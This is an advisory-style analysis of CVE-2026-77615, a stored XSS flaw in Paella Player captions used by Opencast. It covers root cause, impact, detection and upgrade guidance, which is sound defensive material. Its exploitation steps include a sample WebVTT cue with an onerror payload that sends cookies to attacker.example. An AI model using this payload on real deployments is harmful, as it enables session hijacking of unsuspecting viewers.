CVE-2026-77615: 
JavaScript 脆弱性の分析と軽減

CVE-2026-77615 is a stored Cross-Site Scripting (XSS) vulnerability in Paella Player's closed captions rendering, affecting the paella-core library prior to version 2.12.11 and Opencast prior to versions 19.7 and 20.2 (versions 20.0–20.2 and all 18.x/19.x releases are affected). The vulnerability was discovered by Jan Kahmen of turingpoint and disclosed on September 17, 2026, with a patch advisory published on September 18, 2026. It carries a CVSS v3.1 base score of 8.7 (High) (GitHub Advisory, Feedly).

The root cause (CWE-79) is that the Paella Player captions canvas appends each WebVTT or DFXP cue directly to _captionsContainer.innerHTML without HTML escaping or sanitization, allowing arbitrary HTML/JavaScript in cue text to become live DOM. The caption track is sourced from any media package element with a captions/* flavor, served via /search/episode.json to anonymous viewers, and the WebVTT/DFXP caption plugins are enabled by default in Opencast's configuration. An attacker with low privileges (e.g., ROLE_API_EVENTS_CREATE, ROLE_API_EVENTS_TRACK_EDIT, ROLE_UI_TASKS_CREATE) can upload a malicious subtitle file containing an XSS payload in a cue, publish the event, and the payload executes in the browser of any viewer who enables captions — including anonymous users. The fix in paella-core introduces a sanitizeHtml() function that parses HTML in an inert <template> element, strips forbidden tags (script, iframe, object, etc.), removes inline event handlers (on* attributes), and blocks dangerous URL protocols before inserting cue text into the DOM (GitHub Advisory, paella-core fix commit).

Successful exploitation results in stored JavaScript execution in the Opencast origin within the browser session of any viewer who enables captions on the affected event, including anonymous viewers and authenticated staff such as instructors and administrators. Attackers can steal session tokens and CSRF tokens, perform actions against the Opencast REST API on behalf of victims, and manipulate page content. Because the caption file is served to anonymous clients via /search/episode.json, the blast radius extends to all users of the platform without requiring any authentication at view time (GitHub Advisory).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time (Feedly). The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. However, exploitation requires only low privileges (a content author account) and user interaction (a viewer enabling captions), making it relatively accessible to motivated attackers on multi-tenant Opencast deployments such as universities and media organizations.

1. Obtain a low-privileged account: Acquire an Opencast account with roles ROLE_API_EVENTS_CREATE, ROLE_API_EVENTS_TRACK_EDIT, and ROLE_UI_TASKS_CREATE — a typical content author or instructor account.
2. Create a malicious WebVTT subtitle file: Craft a .vtt file with an XSS payload embedded in a cue, for example:

WEBVTT

00:00:00.000 --> 00:00:30.000
<img src=x onerror="document.title=document.domain;fetch('https://attacker.example/steal?c='+document.cookie)">

3. Upload the subtitle to an event: Using the Opencast UI or REST API, upload the malicious .vtt file as a captions/source track to a target event.
4. Publish the event: Trigger the fast workflow (or equivalent) to publish the event, which makes the caption file available via the engage player and /search/episode.json.
5. Deliver the link to victims: Share the event URL with target users (or wait for organic viewership on a public event).
6. Trigger execution: When a victim opens the event in the Paella Player and enables captions, the cue text is written to _captionsContainer.innerHTML without sanitization, executing the injected JavaScript in the victim's browser session within the Opencast origin.
7. Harvest results: The attacker's server receives stolen session cookies, CSRF tokens, or other exfiltrated data, enabling session hijacking or further API abuse (GitHub Advisory).

• Network: Unexpected outbound HTTP requests from viewer browsers to external domains immediately after loading a video with captions enabled; requests to attacker-controlled endpoints containing encoded cookie or token data in query parameters.
• File System / Media Package: WebVTT (.vtt) or DFXP caption files in the Opencast media package storage containing HTML tags (e.g., <script>, <img>, <svg>) or event handler attributes (e.g., onerror=, onload=) within cue text.
• Logs: Opencast access logs showing GET /search/episode.json?id=<event_id> followed by retrieval of a caption file URL, particularly from anonymous sessions; unusual REST API calls (e.g., user management, workflow triggers) originating from authenticated sessions shortly after caption-enabled video views.
• Application: Caption files uploaded by non-admin users containing HTML markup rather than plain text cue content; events published with captions/source tracks that contain angle brackets or JavaScript URI schemes in cue data (GitHub Advisory).

Upgrade Paella Player (paella-core) to version 2.12.11 or later, and upgrade Opencast to version 19.7 or 20.2 (or later). The fix introduces HTML sanitization via a sanitizeHtml() function applied to all caption cue text before DOM insertion. As a defense-in-depth measure, implement a strict Content-Security-Policy header on the Opencast origin to restrict inline script execution, and add X-Content-Type-Options: nosniff. Organizations unable to upgrade immediately should restrict caption upload permissions to trusted administrators only and audit existing published caption files for HTML content (GitHub Advisory, Opencast 19.7 Release, Opencast 20.2 Release).